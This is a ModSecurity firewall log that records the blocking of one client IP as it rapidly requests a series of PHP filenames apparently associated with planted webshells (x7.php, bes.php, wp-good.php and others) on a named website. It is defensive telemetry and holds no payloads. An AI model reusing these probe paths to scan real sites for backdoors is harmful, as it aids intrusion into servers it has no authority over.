[Sat Feb 28 21:30:48.061735 2026] [:error] [pid 39184:tid 39237] [client 4.204.200.32:56000] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7.php"] [unique_id "aaLuCFtZF9Zd_U7easDIxwAAAFI"]
[Sat Feb 28 21:30:48.548169 2026] [:error] [pid 39183:tid 39206] [client 4.204.200.32:56636] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7.php"] [unique_id "aaLuCBCf4HvhVePw3LZSAAAAAA4"]
[Sat Feb 28 21:30:49.151104 2026] [:error] [pid 39183:tid 39202] [client 4.204.200.32:23708] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaLuCRCf4HvhVePw3LZSBAAAAAo"]
[Sat Feb 28 21:30:49.631438 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:25563] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaLuCRCf4HvhVePw3LZSCQAAAA0"]
[Sat Feb 28 21:30:50.185817 2026] [:error] [pid 49763:tid 49774] [client 4.204.200.32:23788] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaLuCrTHSOG_yf2PpqF6VAAAAcg"]
[Sat Feb 28 21:30:50.659559 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:23787] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaLuChCf4HvhVePw3LZSEQAAAAs"]
[Sat Feb 28 21:30:51.150678 2026] [:error] [pid 39184:tid 39237] [client 4.204.200.32:56634] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaLuC1tZF9Zd_U7easDI3AAAAFI"]
[Sat Feb 28 21:30:51.578999 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:65142] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaLuCxCf4HvhVePw3LZSFAAAAAU"]
[Sat Feb 28 21:30:52.061005 2026] [:error] [pid 39183:tid 39201] [client 4.204.200.32:65097] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaLuDBCf4HvhVePw3LZSGAAAAAk"]
[Sat Feb 28 21:30:52.525462 2026] [:error] [pid 49763:tid 49780] [client 4.204.200.32:23789] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaLuDLTHSOG_yf2PpqF6XgAAAc4"]
[Sat Feb 28 21:30:52.998287 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:65150] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaLuDLTHSOG_yf2PpqF6YwAAAcY"]
[Sat Feb 28 21:30:53.470687 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:65143] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaLuDbTHSOG_yf2PpqF6ZgAAAcc"]
[Sat Feb 28 21:30:53.924925 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:65102] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaLuDbTHSOG_yf2PpqF6agAAAcQ"]
[Sat Feb 28 21:30:54.566355 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:65092] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaLuDrTHSOG_yf2PpqF6cgAAAcI"]
[Sat Feb 28 21:30:55.063692 2026] [:error] [pid 49763:tid 49766] [client 4.204.200.32:25575] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaLuD7THSOG_yf2PpqF6eQAAAcA"]
[Sat Feb 28 21:30:55.541225 2026] [:error] [pid 39185:tid 39267] [client 4.204.200.32:23686] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaLuDxVE-FfM89u7BQalKwAAAJU"]
[Sat Feb 28 21:30:56.040008 2026] [:error] [pid 39184:tid 39236] [client 4.204.200.32:23800] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaLuEFtZF9Zd_U7easDI8gAAAFE"]
[Sat Feb 28 21:30:56.584187 2026] [:error] [pid 22194:tid 22211] [client 4.204.200.32:65141] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaLuEH6mbajs3bzQGyuoMwAAAU8"]
[Sat Feb 28 21:30:57.033988 2026] [:error] [pid 39183:tid 39206] [client 4.204.200.32:23684] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaLuERCf4HvhVePw3LZSIQAAAA4"]
[Sat Feb 28 21:30:57.552994 2026] [:error] [pid 11791:tid 11805] [client 4.204.200.32:23730] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaLuEWuX5e1Q32gqxH3JwAAAAQw"]
[Sat Feb 28 21:30:58.003283 2026] [:error] [pid 49763:tid 49778] [client 4.204.200.32:23741] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaLuErTHSOG_yf2PpqF6iwAAAcw"]
[Sat Feb 28 21:30:58.570366 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:56597] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaLuErTHSOG_yf2PpqF6kwAAAdE"]
[Sat Feb 28 21:31:48.751546 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:23774] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "aaLuRLTHSOG_yf2PpqF8PwAAAcc"]
[Sat Feb 28 21:31:49.231873 2026] [:error] [pid 49763:tid 49766] [client 4.204.200.32:25560] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "aaLuRbTHSOG_yf2PpqF8RQAAAcA"]
[Sat Feb 28 21:31:49.693095 2026] [:error] [pid 49763:tid 49774] [client 4.204.200.32:23801] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "aaLuRbTHSOG_yf2PpqF8SwAAAcg"]
[Sat Feb 28 21:31:50.143045 2026] [:error] [pid 52460:tid 52472] [client 4.204.200.32:25542] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwq13.php"] [unique_id "aaLuRrLWOogAgHGh62SSrAAAAYk"]
[Sat Feb 28 21:31:50.648138 2026] [:error] [pid 39185:tid 39260] [client 4.204.200.32:23701] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aaLuRhVE-FfM89u7BQalXQAAAI4"]
[Sat Feb 28 21:31:51.143665 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:23696] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aaLuRxCf4HvhVePw3LZTBwAAAAs"]
[Sat Feb 28 21:31:51.612556 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:25582] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aaLuR7THSOG_yf2PpqF8ZAAAAcI"]
[Sat Feb 28 21:31:52.049232 2026] [:error] [pid 49763:tid 49781] [client 4.204.200.32:56610] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aaLuSLTHSOG_yf2PpqF8bQAAAc8"]
[Sat Feb 28 21:31:52.578770 2026] [:error] [pid 49763:tid 49790] [client 4.204.200.32:65096] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/05.php"] [unique_id "aaLuSLTHSOG_yf2PpqF8dwAAAdg"]
[Sat Feb 28 21:31:53.012131 2026] [:error] [pid 49763:tid 49788] [client 4.204.200.32:25487] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/05.php"] [unique_id "aaLuSbTHSOG_yf2PpqF8fQAAAdY"]
[Sat Feb 28 21:31:53.606499 2026] [:error] [pid 39185:tid 39255] [client 4.204.200.32:23681] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/05.php"] [unique_id "aaLuSRVE-FfM89u7BQalYAAAAIk"]
[Sat Feb 28 21:31:54.032624 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:23780] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/05.php"] [unique_id "aaLuSrTHSOG_yf2PpqF8jgAAAdA"]
[Sat Feb 28 21:31:54.550345 2026] [:error] [pid 22194:tid 22207] [client 4.204.200.32:65112] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaLuSn6mbajs3bzQGyuoUgAAAUs"]
[Sat Feb 28 21:31:54.993146 2026] [:error] [pid 39185:tid 39248] [client 4.204.200.32:65113] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaLuShVE-FfM89u7BQalZQAAAII"]
[Sat Feb 28 21:31:55.436451 2026] [:error] [pid 39184:tid 39222] [client 4.204.200.32:23786] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaLuS1tZF9Zd_U7easDJcQAAAEM"]
[Sat Feb 28 21:31:55.869705 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:23756] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaLuSxCf4HvhVePw3LZTFQAAAA0"]
[Sat Feb 28 21:31:56.313470 2026] [:error] [pid 39183:tid 39204] [client 4.204.200.32:23713] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaLuTBCf4HvhVePw3LZTGQAAAAw"]
[Sat Feb 28 21:31:56.783090 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:56062] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaLuTLTHSOG_yf2PpqF8rQAAAdE"]
[Sat Feb 28 21:31:57.216141 2026] [:error] [pid 49763:tid 49786] [client 4.204.200.32:23752] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaLuTbTHSOG_yf2PpqF8tAAAAdQ"]
[Sat Feb 28 21:31:57.657370 2026] [:error] [pid 11791:tid 11806] [client 4.204.200.32:25537] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaLuTWuX5e1Q32gqxH3KCgAAAQ0"]
[Sat Feb 28 21:31:58.176755 2026] [:error] [pid 49763:tid 49787] [client 4.204.200.32:23795] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaLuTrTHSOG_yf2PpqF8xwAAAdU"]
[Sat Feb 28 21:31:58.598516 2026] [:error] [pid 39183:tid 39209] [client 4.204.200.32:65117] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaLuThCf4HvhVePw3LZTJgAAABE"]
[Sat Feb 28 21:31:59.045651 2026] [:error] [pid 49763:tid 49789] [client 4.204.200.32:23724] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaLuT7THSOG_yf2PpqF81wAAAdc"]
[Sat Feb 28 21:31:59.485076 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:23728] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaLuTxCf4HvhVePw3LZTKgAAAAQ"]
[Sat Feb 28 21:31:59.998509 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:23680] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaLuT7THSOG_yf2PpqF84gAAAcI"]
[Sat Feb 28 21:32:00.429091 2026] [:error] [pid 22194:tid 22205] [client 4.204.200.32:23806] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaLuUH6mbajs3bzQGyuoVQAAAUk"]
[Sat Feb 28 21:32:00.866487 2026] [:error] [pid 52460:tid 52465] [client 4.204.200.32:25585] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaLuULLWOogAgHGh62SSvwAAAYI"]
[Sat Feb 28 21:32:01.327327 2026] [:error] [pid 39292:tid 39318] [client 4.204.200.32:23805] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaLuUaIAO5fN7BxyqcGC6AAAANg"]
[Sat Feb 28 21:32:01.762404 2026] [:error] [pid 39184:tid 39219] [client 4.204.200.32:65149] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaLuUVtZF9Zd_U7easDJewAAAEA"]
[Sat Feb 28 21:32:02.212795 2026] [:error] [pid 52460:tid 52481] [client 4.204.200.32:23769] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaLuUrLWOogAgHGh62SSyAAAAZI"]
[Sat Feb 28 21:32:02.698980 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:23801] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaLuUrTHSOG_yf2PpqF9AAAAAdI"]
[Sat Feb 28 21:32:03.164995 2026] [:error] [pid 49763:tid 49785] [client 4.204.200.32:23750] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iko.php"] [unique_id "aaLuU7THSOG_yf2PpqF9CAAAAdM"]
[Sat Feb 28 21:32:03.591678 2026] [:error] [pid 52460:tid 52471] [client 4.204.200.32:23804] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaLuU7LWOogAgHGh62SSzAAAAYg"]
[Sat Feb 28 21:32:04.042744 2026] [:error] [pid 39183:tid 39214] [client 4.204.200.32:23794] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaLuVBCf4HvhVePw3LZTQAAAABY"]
